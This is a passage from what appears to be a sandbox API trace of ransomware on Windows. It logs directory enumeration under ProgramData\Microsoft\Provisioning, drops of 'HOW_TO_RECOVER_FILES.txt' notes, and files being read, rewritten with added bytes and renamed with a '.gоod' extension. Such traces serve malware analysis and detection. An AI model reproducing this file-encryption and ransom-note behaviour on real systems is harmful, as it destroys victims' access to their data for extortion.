ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54075ff8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1 [0122.502] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x905, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="1__POW~1.PRO")) returned 1 [0122.503] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x905, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="1__POW~1.PRO")) returned 0 [0122.503] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0122.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0122.503] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ec4c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0122.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec9e0) returned 1 [0122.503] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0122.506] GetFileType (hFile=0x6e0) returned 0x1 [0122.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec950) returned 1 [0122.506] GetFileType (hFile=0x6e0) returned 0x1 [0122.506] WriteFile (in: hFile=0x6e0, lpBuffer=0x35b7f38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ecaa8, lpOverlapped=0x0 | out: lpBuffer=0x35b7f38*, lpNumberOfBytesWritten=0x1f9ecaa8*=0x5d0, lpOverlapped=0x0) returned 1 [0122.507] CloseHandle (hObject=0x6e0) returned 1 [0122.507] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0122.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0122.507] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0122.508] GetFileType (hFile=0x6e0) returned 0x1 [0122.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0122.508] GetFileType (hFile=0x6e0) returned 0x1 [0122.508] WriteFile (in: hFile=0x6e0, lpBuffer=0x35bb830*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x35bb830*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0122.509] CloseHandle (hObject=0x6e0) returned 1 [0122.509] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0122.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0122.509] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0122.510] GetFileType (hFile=0x6e0) returned 0x1 [0122.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0122.510] GetFileType (hFile=0x6e0) returned 0x1 [0122.511] WriteFile (in: hFile=0x6e0, lpBuffer=0x35bf0d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x35bf0d0*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0122.511] CloseHandle (hObject=0x6e0) returned 1 [0122.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0122.512] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpFilePart=0x0) returned 0x4c [0122.512] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.512] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.512] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fff1c4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fff1c4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fff1c4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x13d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0122.512] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8cab3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8cab3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f8cab3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0122.513] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0122.513] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0122.513] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0122.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0122.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0122.513] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}", lpFilePart=0x0) returned 0x4c [0122.513] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.513] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.514] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fff1c4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fff1c4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fff1c4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x13d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0122.514] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8cab3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8cab3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f8cab3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0122.514] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0122.514] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0122.514] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0122.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0122.514] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0122.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0122.514] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x35cef50 | out: lpFileInformation=0x35cef50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fff1c4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fff1c4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fff1c4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x13d8)) returned 1 [0122.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0122.515] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0122.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0122.515] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0122.515] GetFileType (hFile=0x6e0) returned 0x1 [0122.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0122.515] GetFileType (hFile=0x6e0) returned 0x1 [0122.515] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0122.515] ReadFile (in: hFile=0x6e0, lpBuffer=0x35cf3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x35cf3d8*, lpNumberOfBytesRead=0x1f9edca8*=0x3d8, lpOverlapped=0x0) returned 1 [0122.516] CloseHandle (hObject=0x6e0) returned 1 [0122.516] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0122.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0122.516] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0122.517] GetFileType (hFile=0x6e0) returned 0x1 [0122.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0122.517] GetFileType (hFile=0x6e0) returned 0x1 [0122.517] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x13d8 [0122.517] WriteFile (in: hFile=0x6e0, lpBuffer=0x35d06a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x35d06a8*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0122.517] CloseHandle (hObject=0x6e0) returned 1 [0122.517] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0122.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0122.517] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0122.517] GetFileType (hFile=0x6e0) returned 0x1 [0122.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0122.517] GetFileType (hFile=0x6e0) returned 0x1 [0122.517] ReadFile (in: hFile=0x6e0, lpBuffer=0x35d29a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x35d29a0*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0124.336] CloseHandle (hObject=0x6e0) returned 1 [0124.336] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0124.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0124.336] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0124.336] GetFileType (hFile=0x6e0) returned 0x1 [0124.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0124.336] GetFileType (hFile=0x6e0) returned 0x1 [0124.336] WriteFile (in: hFile=0x6e0, lpBuffer=0x342de20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x342de20*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0124.336] CloseHandle (hObject=0x6e0) returned 1 [0124.337] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0124.337] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0124.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0124.337] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fff1c4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fff1c4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x4653ccf2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13e8)) returned 1 [0124.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0124.337] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.gоod")) returned 1 [0124.338] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0124.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0124.338] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x367a1e0 | out: lpFileInformation=0x367a1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8cab3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8cab3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f8cab3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0124.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0124.338] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0124.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0124.338] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0124.338] GetFileType 